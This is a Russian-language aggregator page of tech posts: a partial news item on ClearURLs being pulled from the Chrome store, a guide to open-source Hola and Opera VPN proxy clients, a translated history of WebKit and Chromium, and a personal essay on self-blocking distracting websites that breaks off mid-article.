Многие сайты имеют излишне длинные URL-адреса с дополнительными параметрами, которые не несут никого функционала, но используются просто для отслеживания. Это в большей степени относится к ссылкам, присутствующим, например, в информационных бюллетенях:

https://example.com?utm_source=newsletter1&utm_medium=email&utm_campaign=sale&some_other_tracking_bits=...

Например, при нажатии на результат поиска изображения Google не сразу отправляет вас на исходный URL-адрес своей веб-страницы, а на промежуточный URL-адрес, который и перенаправляет вас.

https://www.google.com/url?sa=i&url=https%3A%2F%2Fwww.bleepingcomputer.com%2F&psig=AXXXXXYAWa
&ust=1616XXXXXXX&source=images&cd=vfe&ved=0CXXXXe-p3XXX

Дополнительные параметры в указанном выше URL-адресе (ved, cd и т. д.) просто отслеживающие метки и источники перехода, используемые для аналитики.

ClearURLs предназначен для фильтрации таких параметров отслеживания из URL-адресов и повышения конфиденциальности пользователя в интернете.

Если бы все ссылки будут лишены таких посторонних меток, они будут иметь довольно минимальную длину, состоящую только из важных данных.

Разработчик подал апелляцию в Google против блокировки расширения и получил ответ: в копии электронного письма, предоставленного разработчиком, Google утверждает, что описание расширения слишком подробное и нарушает правила интернет-магазина Chrome.

Google также заявил, что в описании расширения не упоминается, что оно содержит определенные функции, такие как импорта/экспорта настроек, ведения журнала и кнопка пожертвования, что вводит в заблуждение. Также было заявлено в письме, что расширение без необходимости требует разрешение на запись в буфер обмена (clipboardWrite).

Роиберт изначально опроверг утверждение Google, заявив, что clipboardWrite используется для записи очищенных ссылок через контекстное меню в буфер обмен: в данном функционале больше нет необходимости, начиная с последних версий, потому что он переключился на другой метод копирования в буфер обмен.

Это разрешение было пережитком более ранней версии ClearURLs, сообщил Роиберт BleepingComputer в интервью по электронной почте.

Пользователи Chrome могут скачать и установить вручную расширение со страницы релизов на GitHub. Пользователи Microsoft Edge могу скачать расширение из Edge Add-ons store.

Роиберт также выпустил новую версию 1.21.0 с рекомендуемыми исправлениями, ожидающую проверки, которая появятся в магазинах Mozilla и Edge.

Подробнее..

Открытые клиенты Hola VPN и Opera VPN

01.05.2021 04:09:42 | Автор: admin

Предлагаю вашему вниманию два простых решения для случаев, когда нужен прокси:

  • Недоступность сетевого ресурса по разным причинам.

  • Гео-ограничения.

  • Потребность спрятать трафик от интернет-провайдера и/или исключить возможность его вмешательства в трафик.

hola-proxy

https://github.com/Snawoot/hola-proxy/

hola-proxy - это клиент для прокси-серверов Hola, который использует то же API для получения доступа к ним, что и браузерное расширение Hola VPN. Соединение с прокси-серверами защищено TLS. Приложению не требуется ни установка, ни права администратора для работы. Имеется в наличии кое-какая устойчивость к попыткам блокировок самих VPN-сервисов. В частности, в отличии от оригинального расширения, приложение успешно работает в Египте.

Отличия приложения от браузерного расширения Hola VPN:

  • Нет проблем с безопасностью, которые могут иметь место с родными клиентами Hola. А именно, IP-адрес пользователя точно не будет эксплуатироваться для обслуживания других пользователей.

  • Убраны почти все ограничения бесплатного доступа.

  • Локально запускается прокси, который можно использовать и с другими приложениями, а не только с браузером.

  • Есть возможность использования резидентных IP-адресов в US для того чтобы, например, смотреть американский Netflix, Hulu и другие видео-сервисы с гео-ограничениями, требующими IP-адрес, относящийся к провайдерам потребительского доступа к интернету.

  • Улучшенная устойчивость к блокировкам по сравнению с расширением (у нативного клиента чуть больше возможностей).

  • Открытый исходный код.

  • Запускается на большом ассортименте ОС и аппаратных платформ.

  • Есть возможность каскадирования соединения с другим прокси-сервером для доступа к выходному узлу. Это полезно для случаев, когда подключение к интернету требует обязательного использования прокси-сервера (например, так выглядят некоторые корпоративные файрволы).

Порядок использования:

  1. Скачать отсюда, выбрав исполняемый файл для своей платформы.

  2. Запустить. Станет доступен обычный HTTP-прокси на локальном порте 8080.

  3. Настроить браузер и/или другое ПО на использование HTTP прокси-сервера по адресу 127.0.0.1:8080. Для браузера ради удобства крайне рекомендую использовать расширение SwitchyOmega (Chrome, Firefox).

Примечания:

Если требуются особые настройки (страна, тип прокси), то можно создать ярлык, указав дополнительные параметры командной строки через пробел после имени файла. Справка по параметрам: https://github.com/Snawoot/hola-proxy/#list-of-arguments

Запускать приложение в фоне в Windows можно с помощью "планировщика заданий", назначив старт приложению после запуска системы, либо просто добавив в автозагрузку, если окно терминала в фоне не мешает.

opera-proxy

https://github.com/Snawoot/opera-proxy/

Это совсем недавняя разработка, которая, в сущности, реализует то, что в браузере Opera называется Opera VPN, но при этом позволяет использовать его с другими браузерами и приложениями (а так же использовать его для каких-то сайтов селективно, посредством настройки браузерного расширения управления прокси в вашем браузере).

Внешне программа почти полностью аналогична hola-proxy, но имеет чуть меньше возможностей для выбора серверов и прочих возможностей, специфичных для hola.

Порядок использования:

  1. Скачать отсюда, выбрав исполняемый файл для своей платформы.

  2. Запустить. Станет доступен обычный HTTP-прокси на локальном порте 18080.

  3. Настроить браузер и/или другое ПО на использование HTTP-прокси-сервера по адресу 127.0.0.1:18080. Для браузера ради удобства крайне рекомендую использовать расширение SwitchyOmega (Chrome, Firefox).

Примечания:

Обратите внимание, что opera-proxy по умолчанию использует порт 18080, в то время как hola-proxy - 8080.

Справка по параметрам командной строки для выбора региона и других настроек: https://github.com/Snawoot/opera-proxy/#list-of-arguments

Пара слов об Android

Оба приложения работают на Android, не требуя рута. Запустить их можно с помощью любого удобного шелла (приложения-терминала). Я бы порекомендовал Qute, так как оно поддерживает автозапуск и создание ярлыков для скриптов. Для запуска нужно положить бинарь куда-то, где его можно было бы сделать исполняемым. В случае с Qute это /data/data/files/com.ddm.qute

После этого сделать бинарный файл прокси-клиента исполняемым: chmod +x /data/data/files/com.ddm.qute/*-proxy* и запустить его командой или скриптом: /data/data/files/com.ddm.qute/*-proxy*

Перенаправить весь трафик через прокси удобнее всего будет с помощью AdGuard для Android. В его настройках можно установить адрес прокси, куда нужно перенаправить трафик. Важно не забыть добавить в исключения AdGuard само приложение-шелл (в моём примере Qute). В противном случае исходящие соединения прокси будут зацикливаться в сам прокси.

Заслуживают упоминания

  • transocks - демон, который позволяет перенаправлять произвольные TCP-соединения на роутере в SOCKS- или HTTP-прокси.

  • moproxy - аналог предыдущего пункта.

  • Мой прошлый пост о некоторых преимуществах прокси по сравнению с VPN.

Пожалуй, это всё. А наверху на картинке, кстати, муравьед. Вроде бы.

Подробнее..

Перевод Движок, который смог как Chromium удалось захватить 90 рынка браузеров

09.09.2020 14:04:11 | Автор: admin

От браузерного движка, который изначально был малоизвестной альтернативой, применявшейся в непопулярном браузере, до чемпиона, захватившего весь рынок.

Вероятно, иногда вы встречаете в текстах понятие браузерное разнообразие. Под ним подразумевается равновесие на платформе веба, при котором в мире существует множество реализаций браузеров, достаточное для стимулирования инноваций и конкуренции между ними. Альтернативой этому является монокультура браузеров, при которой один браузер или реализация браузера контролирует весь рынок, а значит, и управляет развитием веба. Когда кто-то содействует браузерному разнообразию, он часто делает это ради процесса создания независимых веб-стандартов, поддерживаемых W3C, который работает только когда ни один из браузеров не может диктовать функции, включаемые в платформу веба.

У веб-сообщества есть достаточно причин опасаться отсутствия браузерного разнообразия. После того, как Internet Explorer захватил в начале 2000-х долю 90% от рынка браузеров, для выпуска нового браузера его разработчикам потребовалась добрая половина десятилетия. В тот период развитие веба остановилось, и начали возникать проблемы с безопасностью. Из-за этого веб стал хуже, поэтому мы часто стремимся к тому, чтобы браузеры конкурировали, а не монополизировали веб.

Но у этой проблемы есть и обратная сторона. Из-за существования нескольких создателей браузеров веб-разработчикам необходимо обеспечивать совместимость всех платформ. Между браузерами могут присутствовать хоть и незначительные, но несоответствия, что может усложнять разработку для веба.

Это беспокоило создателя веба Тима Бернерса-Ли. Даже в начале 90-х, когда веб был очень юным, по всему миру в процессе экспериментов разработчиков ПО начали появляться десятки браузеров. Бернерса-Ли волновало, что слишком большое количество браузеров усложнит тестирование сайтов и достижение консенсуса о способах парсинга и передачи HTML пользователям.

В 1992 году Тим Бернерс-Ли высказал своё беспокойство в списке рассылки, посвящённом гипертексту.

Никто не будет поддерживать 8 парсеров на 12 платформах, поэтому я немного обеспокоен развитием реализаций. (Да, разумеется, в то же время мне это приятно! Но я бы хотел видеть одну, может быть, две основные библиотеки (две, чтобы тестировать одну из них на наличие непротиворечивых багов), но не четыре. Мне кажется, это слишком много; будут возникать ситуации, когда небольшие тонкости работают в одной, но не в других библиотеках, потому что на поддержку каждой не хватило труда по поддержке.

Бернерс-Ли осознавал, что множественные реализации могут потребовать слишком много усилий со стороны веб-разработчика, поэтому разработчики могут испытывать искушение полностью избежать этой проблемы и проводить тестирование только в самом популярном браузере (он и не подозревал, что подобная проблема будет часто возникать в веб-разработке). То есть даже без монополии слишком большое количество браузеров может заполонить рынок и создать фактического победителя, относительно которого будут создаваться стандарты без учёта всех остальных. Обеспечение непротиворечивости всех реализаций браузеров стало причиной создания W3C и продвижения набора общих стандартов в веб-технологиях.

Озабоченность Бернерса-Ли имела основания. Иногда возникали ситуации, когда браузеры шли собственным путём, заставляя веб-дизайнеров изощряться, чтобы страницы выглядели везде одинаково. В последние годы устоявшийся процесс стандартизации во многом позволил решить проблему несоответствий между браузерами благодаря созданию чёткого процесса добавления новых возможностей веба, гарантирующего баланс в процессе принятия решений.

Фундаментальной основой для создания разнообразной группы браузеров является развитие совершенно разных браузерных движков. Браузерный движок это программный код внутри браузера, который получает написанный вами код и рендерит его на странице. Если смотреть на более техническом уровне, то он парсит HTML, CSS и JavaScript для обработки структуры и рендеринга веб-страниц. Движок обычно включает в себя JavaScript-движок, обрабатывающий интерактивность. Чаще всего при обсуждении браузерного движка говорят и о связанном с ним JavaScript-движке, но так бывает не всегда.

До того, как разработчики браузеров начали использовать веб-стандарты, во время войн браузеров, был длившийся десяток лет период доминирования браузера Internet Explorer компании Microsoft. В Internet Explorer использовался проприетарный браузерный движок Microsoft под названием Trident. Internet Explorer распространялся бесплатно и по умолчанию был установлен на всех компьютерах с Windows. Благодаря своей скорости распространения Trident на долгие годы стал наиболее широко используемым браузерным движком.

Однако вскоре начали набирать популярность несколько более мелких браузеров с открытым исходным кодом. Самым популярным из них был Mozilla Firefox (основанный на Netscape), в котором использовался движок под названием Gecko. Немного отставала от него Opera со своим браузерным движком Presto. А небольшому сообществу полюбился браузер Konquerer с движком KHTML, имевший крошечную долю рынка браузеров.

Исходный код всех этих браузерных движков, за исключением Presto, был открытым, то есть он был доступен любому и его можно было использовать в любом проекте. Это стимулировало совместный труд и здоровую конкуренцию между такими новыми браузерами, благоприятствовавшими процессу создания стандартов веба под управлением W3C. А благодаря открытости исходников на рынке появилось большое количество мелких, нишевых браузеров, построенных на основе тех же браузерных движков.

Примечательно отсутствие в этом списке Apple. В 2003 году казалось, что компания совершенно упустила из виду платформу веба. Она неудачно пыталась создать собственный браузер под названием Cyberdog. Без нативного для своей ОС браузера компьютеры Apple поставлялись с Internet Explorer, который привязывал их к одному из самых серьёзных конкурентов к Microsoft.

Но затем начали циркулировать слухи, что Apple работает над новым браузером. В компанию пришло несколько ветеранов из Mozilla, от имени Apple внесших вклад в Mac-версию браузера Firefox с открытыми исходниками. А после первого провалившегося эксперимента инструменты и реализации стали намного лучше. Существовало уже много созревших решений на основе open source.

Изначально предполагалось, что Apple выберет в качестве браузерного движка Mozilla Gecko. У неё уже были нужные сотрудники и опыт работы с ним, к тому же этот движок использовался в подавляющем большинстве проектов браузеров, в том числе браузера для Mac под названием Camino, разработанного независимой командой, не относящейся к Apple. Некоторые считали, что Apple может выбрать Presto, заключив некий договор по лицензированию.

Стив Джобс завершил свою программную речь на Macworld 2003 долгожданным объявлением: Apple создаёт собственный браузер под названием Safari. И ко всеобщему удивлению, в нём будет использоваться движок из Konquerer. Не Gecko, не Presto. KHTML. Новость была громкой, и в следующие два десятилетия она изменила траекторию развития веба.


Браузер Konqueror, запущенный в среде рабочего стола KDE

Браузер Konquerer это одно из множества приложений, являющихся частью среды рабочего стола KDE для компьютеров с Linux. Строго говоря, это не операционная система, а пакет программного обеспечения, выглядящий и ведущий себя как ОС. Аббревиатура изначально расшифровывалась как Kool Desktop Environment, но потом была сокращена просто до KDE. Konquerer это одна из программ внутри KDE. А KHTML это движок, на котором работает Konquerer. Как и сам Linux, вся KDE имеет открытый исходный код, в том числе и её браузер, а сообщество разработчиков с самого основания придерживалось принципов открытого программного обеспечения.

Именно поэтому важно, что в объявлении Apple присутствовал этот слайд:


В своём объявлении о выборе KHTML Apple заявила о приверженности идеям open source. Команда разработчиков Safari пообещала по возможности вносить сделанные ею изменения в проект KHTML. При адаптировании движка Apple разбила его на две части: WebCore, занимающийся рендерингом и структурой, и JavaScriptCore, занимающийся JavaScript. Обе этих части стали проектами с открытым исходным кодом, однако система отслеживания ошибок Safari и элементы браузерного движка остались закрытыми. И всё же такой уровень прозрачности был удивителен для компании, хорошо известной охраной своих секретов.

Первая публичная версия Safari была выпущена одновременно с объявлением, в январе 2003 года. Вскоре после этого Safari начал поставляться как стандартный браузер для всех Mac. В течение одного-двух лет Safari стабильно занимала два-три процента от рынка браузеров. Этого не было достаточно, чтобы доминировать, но придавало вес команде разработчиков из Apple.

Несмотря на обещание, данное сообществу open source, разработчикам Safari поначалу оказалось сложно портировать вносимые ими изменения обратно в проект KTHML. Часть кода была специфичной для операционной системы Mac. Другие части были просто несовместимыми с существующей кодовой базой. Это привело к небольшим разногласиям между командой Apple и соавторами KHTML, длившимся пару лет.

Со временем был найден устраивающий всех компромисс. В июне 2005 года Apple объединила JavaScriptCore, Webcore и остальные компоненты браузерного движка, выпустив их как единый проект open source с публичным баг-трекером и призывом участвовать в развитии. Таким образом компания показала сообществу KHTML, что готова к сотрудничеству, сохраняя при этом независимость кода.

Проект назвали Webkit.

Критически важным оказался выбранный момент. Веб как платформа ускоренно развивался и находился на этапе Web 2.0. В целом, Web 2.0 был просто красивым маркетинговым термином, попыткой дать название росту количества сложных приложений, существующих исключительно в вебе. В него вошли два самых первых веб-приложения Google Google Maps и Gmail. В течение года Google добавила в этот список и YouTube.

В середине 2000-х годов инженеры Google пристально пригляделись к браузерам и обнаружили, что те неспособны удовлетворить потребность в создании сложных приложений. Особенно справедливо это было в отношении старых и необслуживаемых браузеров наподобие Internet Explorer (кстати, к стимулированию отказа пользователей от IE6 приложил руку и YouTube). Но основным приоритетом Google была скорость. Сооснователи компании однажды выразили желание создать веб столь же быстрый, как перелистывание бумажного журнала. Такой стала цель компании, и Google чувствовала, что даже современные браузеры типа Firefox и Safari приближались к ней недостаточно быстро.

К 2006 году компания начала строить планы по созданию собственного браузера. Она хотела иметь самый быстрый на рынке браузер. Поэкспериментировав со множеством браузерных движков, разработчики Google обратили внимание на проект Webkit, который перешёл в open source. Его код был компактным и читаемым, а ресурсоёмкость оставалась относительно низкой по сравнению с движками с богатой историей наподобие Gecko или Trident (последний в любом случае не рассматривался из-за закрытости своих исходников). Но, что самое важное, он был быстрым. Как отправная точка он был быстрее всех остальных движков.

Если бы команда Safari не решила открыть исходники своего браузерного движка именно в этом время, история могла бы развиваться совершенно в ином направлении. Но разработчики поступили так, поэтому Google изучила эту возможность и решила использовать движок. В следующую пару лет она начала работать над новой, ещё более быстрой реализацией Webkit.

Её первым шагом стало избавление от JavaScriptCore и замена его на собственный JavaScript-движок под названием V8, названный в честь мощного поршневого двигателя. Как можно понять из названия, V8 был быстрым. На момент выпуска он оказался в десять раз более производительным, чем JavaScriptCore. Он добился этой скорости благодаря работе в виртуальной машине и немного иному способу исполнения кода, делавшему его модульным и независимым от остальной части браузерного движка. Кстати, спустя пару лет эта модульность обеспечила возможность создания языка программирования Node: его разработчики взяли движок V8, избавились от браузера и поместили его на сервер.

Второе, что сделала Google добавила в свой браузер многопроцессную архитектуру. О многопроцессности можно сказать многое, но лучше всего её объяснить на примере вкладок браузера. Раньше с вылетом одной вкладки аварийно завершалась работа всего браузера. Однако Google удалось заставить выполняться процессы в каждой вкладке независимо, чтобы за раз вылетала только одна вкладка. После выпуска браузера это стало его основным привлекательным качеством. Кроме того, это оказалось важным решением, потому что стало серьёзным отходом от того, как Webkit работал ранее. Вскоре это решение ещё аукнется компании.

В сентябре 2008 года Google официально объявил о проекте своего браузера публике. Компания совместила объявление с нердовским веб-комиксом Скотта Макклауда, в котором подробно описывались все технические подробности проекта. Браузер мог обрабатывать веб-сайты быстрее всех на рынке, а благодаря своей многопроцессной архитектуре был способен сохранять активность страниц, даже когда зависал какой-нибудь другой сайт. Это было в те времена, когда браузеры до сих пор были перегружены панелями инструментов и аддонами, а также пакетами больших компаний, в которые была включена и почта. Имя, данное Google этому проекту, тоже соответствовало концепции. В мире браузеров под понятием хром (chrome) подразумевается всё дополнительное, что окружает веб-страницу адресная строка, панели инструментов и файловые меню. Google избавилась от большинства этого хлама, поэтому и назвала браузер Google Chrome, надеясь, что ставка на простоту и производительность оправдает себя.


Фрагмент веб-комикса, с которого всё началось

Если не считать закрытого алгоритма поиска, Google многие годы делала вклад в проекты с открытым кодом и создавала новые. Поняв урок Apple, компания при разработке Chrome зашла ещё дальше. В тот же день, когда было объявлено о выпуске Google Chrome, компания сделала весь движок доступным как open-source-проект под названием Chromium. Это не просто несколько расширений для Webkit. Это не просто движок рендеринга. Открытым стало всё: Webkit, JavaScript-движок V8 и весь код самого браузера. Без особых усилий любой разработчик мог дополнить Chromium и выпустить собственный браузер. После его выпуска со многими браузерами так и случилось.

2008-й стал важным годом для веба. В том же месяце, когда был выпущен Chrome, Google показала прототип своей мобильной операционной платформы Android, собранной из нескольких проектов с открытыми исходниками. В него входила и мобильная версия Google Chrome. Это произошло чуть более года спустя официального выпуска iPhone, который поставлялся с модифицированной версией Safari. К тому времени, когда Стив Джобс приступил к безвозвратному убийству Flash и начал превращать в основной приоритет нативную платформу веба, эти устройства уже были повсюду.

То есть теперь в каждом мобильном смарт-устройстве работал Safari или Chrome. Сама Safari целиком благодаря покупкам iPhone всего за несколько лет удвоила свою долю на рынке. Популярность Chrome росла ещё быстрее. Используя Chromium, вы получали доступ к постоянно расширяющемуся списку независимых браузеров и браузерных проектов. Кроме того, Chromium стал основой языка программирования Node и фреймворка для десктопных приложений Electron.

И все эти проекты работали благодаря Webkit. За несколько лет он совершил путь от захвата небольшой доли рынка браузеров до доминирования на нём.

Такое состояние покоя было недолгим. В апреле 2013 года Google неожиданно объявила, что создаст ответвление (форк) проекта Webkit в новый движок под названием Blink. Google Chrome и проект Chromium будут переходить на этот новый движок.

У такого перехода было несколько причин, но важнейшая из них возвращает нас к вопросу многопроцессности. Несколько лет Google расширяла Webkit, чтобы добавить в свои браузеры многопроцессность, ставшую важнейшей особенностью и основанием роста производительности браузеров Chromium. В 2013 году проект Webkit должен был выпустить новую версию движка, которая улучшала в том числе и многопроцессность. Проблема заключалась в том, что её реализация стала бы совершенно другой и несовместимой с реализацией в Chrome. В нём уже использовался другой JavaScript-движок и это новое изменение слишком сильно бы отодвинуло Chromium от исходного проекта. Ядром Blink по-прежнему должен был оставаться и остаётся Webkit. Но он пойдёт по другому пути и создаст себе новый проект.

На этом этапе веб стал более сложным, чем кто-либо мог себе представить. Проблема, которую впервые изложил Бернерс-Ли слишком большое количество независимых разработчиков, создающих собственные браузерные движки больше не была проблемой. Для сборки и поддержки браузерного движка теперь требовались большие коллективы. С расширением платформы веба и укрепления стандартов веба сложность рендеринга веб-сайта в страницу росла экспоненциально. Браузер должен был исполнять бесчисленное количество сайтов, закодированных бесчисленным количеством способов так, чтобы более-менее соответствовать всем остальным браузерам.

После этого момента браузерные движки начали исчезать.

За два месяца до выпуска Blink компания Opera объявила, что откажется от собственного движка Presto и перенесёт свой браузер на Chromium. Когда Google объявила о форке, Opera присоединилась к ней. В мае 2013 года она выпустила свой первый браузер на основе Blink.

Тем временем Microsoft многие годы придерживалась собственного движка с закрытым исходным кодом. Trident был преобразован в движок под названием EdgeHTML, созданный для браузера Microsoft Edge, впервые выпущенного в 2015 году. Но вкладывание ресурсов в разработку независимого движка оказалось слишком сложной задачей на уже заполненном рынке браузеров. В 2019 году компания объявила, что тоже переходит на Blink. С тех пор этот браузер тоже выпускается.

Потомков KHTML, то есть браузеры, имеющие движки из семейства Blink / Webkit, используют более 90% пользователей. От практического забвения до доли рынка в 90% за пятнадцать лет потрясающее достижение. И оно имело последствия.

Blink и Webkit это два разных движка, и в их исходном коде стало довольно много различий. Но они используют одинаковый подход к рендерингу веб-страниц, а бОльшая часть кода внутри проекта остаётся такой же. Это означает, что на текущем этапе, по сути, осталось две группы браузерных движков семейство Blink / Webkit и Gecko браузера Firefox. Даже если разделить Blink и Webkit, то всё равно остаётся только три.

И это возвращает нас к вопросу браузерного разнообразия. Инновации в браузерных технологиях не исчезли, и, к счастью, каждый серьёзный браузер привержен процессу стандартизации веба. Однако если сообщество Blink и Webkit решит, что оно хочет двигать веб в определённом направлении, то будет обладать всей необходимой для этого властью. Это справедливо даже сегодня, несмотря на то, что Gecko всё ещё держится.

Джеффри Зельдман хорошо резюмировал это в момент, когда Microsoft решила переходить на Blink:

Когда одна компания решает, какие идеи стоит поддерживать, а какие нет, какие проблемы с доступом важны, а какие нет, это подавляет инновации, уничтожает конкуренцию и открывает возможности исключения людей из работы с цифровой информацией.

С исторической перспективы траектория развития Webkit является настоящим чудом. И оно возникло благодаря открытости и поддержке сообщества. Но столь же важно поддерживать браузерное разнообразие и возможности инноваций.

В этом посте рассказано о пяти вехах истории развития веба.


  • 3 апреля 2013 года. Создание Blink как форка проекта Webkit. Движок рендеринга Blink используется в браузерах на основе Chromium, в том числе и в Google Chrome. Фундамент его кодовой базы был заложен Webkit, но он обрабатывает многопроцессные задачи и содержит JavaScript-движок V8.
  • 2 сентября 2008 года. Google выпускает собственный браузер Chrome, основной задачей которого является скорость. Его имя позаимствовано у рамки браузера, которую Google удалось значительно упростить. Всего за несколько месяцев он завоевал десятки миллионов пользователей, а в начале следующего десятилетия захватил рынок.
  • 7 июня 2005 года. Webkit Apple открывает исходный код своего браузерного движка, состоящего из двух основных компонентов: движка рендеринга WebCore и JavaScript-движка JavaScriptCore. Хотя в то время он использовался только Apple, вскоре благодаря внедрению компанией Google и применению на мобильных устройствах движок Webkit вскоре стал самым популярным.
  • 7 января 2003 года. Safari Apple выпускает свой второй браузер, и попытка оказалась успешной. Он позволил продавать компьютеры Mac с нативным браузером и завершить взаимоотношения с Internet Explorer компании Microsoft. В нём используется малоизвестный браузерный движок с открытым кодом под названием KHTML, который со временем превратится в Webkit.
  • 23 октября 2000 года. Konquerer в проект KDE включён новый браузер под названием Konquerer и выпущена его версия 2. Как и KDE в целом, Konquerer имеет открытый исходный код и поддерживается активным сообществом. Движок, лежащий в его основе, со временем станет фундаментом для Apple Safari и Google Chrome.

Источники






На правах рекламы


Наша компания предлагает безопасные серверы с бесплатной защитой от DDoS-атак. Возможность использовать лицензионный Windows Server на тарифах с 2 ГБ ОЗУ или выше, создание резервных копий сервера автоматически либо в один клик.

Используем исключительно быстрые серверные накопители от Intel и не экономим на железе только брендовое оборудование и одни из лучших дата-центров в России и ЕС. Поспешите проверить.

Подробнее..

Из песочницы Шлакоблокировки, или как заблокировать себе интернет

09.07.2020 20:08:37 | Автор: admin

Немогу назвать себя человеком, обладающим огромной силой воли. Даисредненькой тоже. Зато очень люблю прокрастинировать ипользуюсь для этого любой имеющейся возможностью, например, просмотром мемов или бессмысленных видео наYouTube. Современем это стало напрягать всё сильнее исильнее имешать учёбе/работе. При наличии стресса продуктивность стремилась кнулю, азанятия посторонними делами занимали всё свободное (инесвободное) время. Так началась моя борьба синтернетом. Какже она проходила?



Итерация0


Правило 20секунд. Если выхотите что-то сделать, выдолжны начать это делать втечение 20секунд. Отличное правило, если выхотите завести себе новую привычку (вроде игры нагитаре, чтения книг ит.д.) создать все условия для того, чтобы было просто начать. Этоже работает ивобратную сторону если выхотите избавиться откакой-либо привычки, нужно сделать еёкак можно более недоступной. Следовательно, чтобы избавиться отпривычки смотреть мемы инеочень умные видео, нужно максимально усложнить себе задачу.


Итерация1


Мир был простой иизвестный, статьи винтернете пестрели призывами кпродуктивности идавали совершенно ясные ичёткие инструкции установи расширение, укажи сайты, которые тебе нужно заблокировать, и, пожалуйста твоя сила воли становится несгибаемой, аработоспособность взлетает донебес. Явспомнил, что когда-то вдетстве видел расширение Leech Block, которое позиционировало себя как спасение отсайтов, тратящих много времени, ирешил установить его. Указал вкачестве блокировки youtube.com иряд других сайтов, ирешил, что пора ждать той самой невероятной продуктивности.



Продуктивность непришла. Некоторое время действительно удалось поработать, ноочень быстро мозг догадался, что можно легко зайти внастройки иудалить сайт изсписка заблокированных/убрать только сегодня изсписка дней/установить блокировку начас с05:00 до06:00. Сэтим нужно было что-то делать.


Итерация2


Достаточно быстро японял, что, как ившифровании, должна быть асимметрия должно быть легко заблокировать сайт идолжно быть сложно эту блокировку снять. Для этих целей вLeechBlock есть возможность заставить себя вводить 32, 64или 128-значный код.


Рисунок 2. Настройки для ввода случайных символов


Это действительно останавливает, дотех пор, пока тыневключаешь режим разработчика инекопируешь требуемый код изсоответствующего элемента. Ксчастью, это обходится соответствующей настройкой.



Тем неменее, искусство слепого десятипальцевого набора вставляет палки вколёса даже 128 символьный код вводится достаточно быстро, иблокировки снова снимаются. Печаль!


Итерация3


Яустал вводить 128-значные коды ивсё равно сидеть назлополучных сайтах. Пора переходить накрайние меры. Установка пароля для доступа красширению отлично помогает. Главное удалить/забыть пароль сразуже после его ввода. Настройки поменять уже неполучится, нонам ведь именно этого ихочется, нетакли? Данные меры действительно помогают накакое-то время избавиться отназойливого желания попробовать позаходить насоответствующие сайты, номозг, который так любит решать задачки, уже ищет новую лазейку.


Наэтот раз мой ленивый мозг решил, что можно просто удалить расширение. Вот так просто зайти вуправление расширениями иудалить расширение. Или отключить его (естественно, временно). Это быстро вылечилось блокировкой страницы срасширениями (да, иногда неудобно, ноустановить новое расширение всё ещё можно).



Ксожалению, существуют значки иконок впанели сострокой браузера, ипри нажатии назначок расширения правой кнопкой существует пункт Удалить расширение. Казалосьбы, бой против интернета был проигран, новпереди ещё маячит надежда...


Итерация4


Пришла пора поговорить обраузерах. Уменя накомпьютере ихобычно несколько, инадомашнем, инарабочем, восновной набор входят Firefox иChrome. Доэтого момента, впринципе, было неважно, какой браузер используется (если только вынеприверженец Egde или IE) расширение работает итам, итам. Нотеперь пришлось напрячься по-настоящему. После некоторых поисков винтернете ивопроса нафоруме Mozilla оказалось, что можно настроить корпоративные политики работы вбраузере, которые содержат всебе много чего интересного, вчастности запрет наудаление расширения. Firefox предоставляет несколько способов, самый удобный (икроссплатформенный) это файл policies.json, лежащий вподпапке distribution папки ссамим браузером.


Вот так выглядит этот файл снастройками для запрета удаления расширения:


{    "policies" : {        "Extensions": {            "Install": ["https://addons.mozilla.org/firefox/downloads/file/1742831/leechblock_ng-0.9.11-an+fx.xpi"],            "Locked":  ["leechblockng@proginosko.com"]        }    }}

Отлично! Теперь удалить расширение изFirefox стало более проблематично. Нельзя сказать, что невозможно, нотеперь наэто придётся потратить куда больше времени, чем раньше.



Для Chrome дорожка оказалась несколько более кривой наWindows можно провести настройку через реестр, аналинуксе воспользоваться JSON файлом. Chrome теперь тоже под надёжной защитой (авместе сним иChromium, который настраивается максимально похожим образом). Нонаэтом история незаканчивается.


Вконце будет приведено содержимое .reg файла, который настроит необходимые политики через реестр для Chrome, Chromium иFirefox


Итерация5


Окей, восновных браузерах унас уже есть рабочая система, которая непозволяет нам тратить время впустую. Но Унасже есть идругие браузеры? Да! Скачать иустановить новый браузер легче лёгкого, ивот YouTube уже запущен вОпере/Edge/IE/Comodo Dragon/Chromium/etc. Чтоже делать совсей этой оравой? Пришлось снова почесать репу как следует, потому что часть браузеров (IE/Edge) неподдерживают расширения, аустанавливать все остальные браузеры инастраивать вних корпоративные политики непредставляется возможным.



Автор собирается блокировать все браузеры


Нодаже вэтом случае ещё невсё потеряно. НаWindows нас выручает App Locker просто скачиваем все браузеры ипачкой добавляем ихвблокировку поиздателю. Существует несколько браузеров вроде Chromium иещё нескольких других, которые распространяются без подписи издателя, идля них есть только один выход смерть блокировка сайта, скоторого ихможно скачать. Desperate times call for desperate measures.



Особняком стоят Edge иIE. IEвWindows 10можно удалить ибольше онём невспоминать (япробовал смотреть через него ютуб, вполне похоже напоедание кактуса), устанавливать его обратно долго, нужно перезагружать компьютер, поэтому данный вариант нас вполне устраивает. Для избавления отEdge существуют программы вроде Edge Block, которые можно удалить после выполнения ихгероического долга. Изаблокировать сайты сними, чтобы наверняка.


Фуух, надо взять передышку инасладиться достигнутым результатом. Ютуб повержен испозором изгнан скомпьютера, нонаша битва ещё неокончена. Отнюдь, остались ещё несколько серьёзных битв, проигрыш вкоторых мыпросто неможем себе позволить.


Итерация6


Хорошие люди однажды придумали сайты для скачивания видео сYouTube идругих сервисов. Хорошая идея которая абсолютно нам непомогает вдостижении нашей цели поблокировке этого самого YouTube. Первый вариант решения проблемы это решение проблемы влоб. Перешерстить 3-4 страницы выдачи вразных браузерах (мозг всё ещё рассматривает это как головоломку, как исостороны блокировки, так исостороны еёобхода) изаблокировать каждый сайт, который позволяет качать ролики сYouTube. Проблема возникает втом, что мынеможем добавить страницы пачкой (унасже заблокированы настройки расширения), мыможем только открывать соответствующий сайт идобавлять его внабор блокировки через контекстное меню.
Рабочий ноутбук, домашний компьютер сdualboot, ипопаре браузеров вкаждой изоперационных систем очень нехочется повторять вышеуказанный алгоритм для каждого браузера (апри появлении нового сайта лень начинает сильно перевешивать, ипродуктивность снова падает). Надо что-то придумать! Ксчастью, автор расширения уже всё придумал занас можно вынести список сайтов для блокировок вотдельный файл, загрузить его наdropbox, получить прямую ссылку иуказать расширению, откуда грузить список сайтов для блокировок. Таким образом, мысущественно упрощаем добавление нового сайта всписок заблокированных, аудаление его изнашего текстового файла воблаке непозволяет нам этот самый сайт разблокировать. То, что надо.


Единственная проблема нужно получать доступ красширению, адля этого всю защиту приходится снимать.



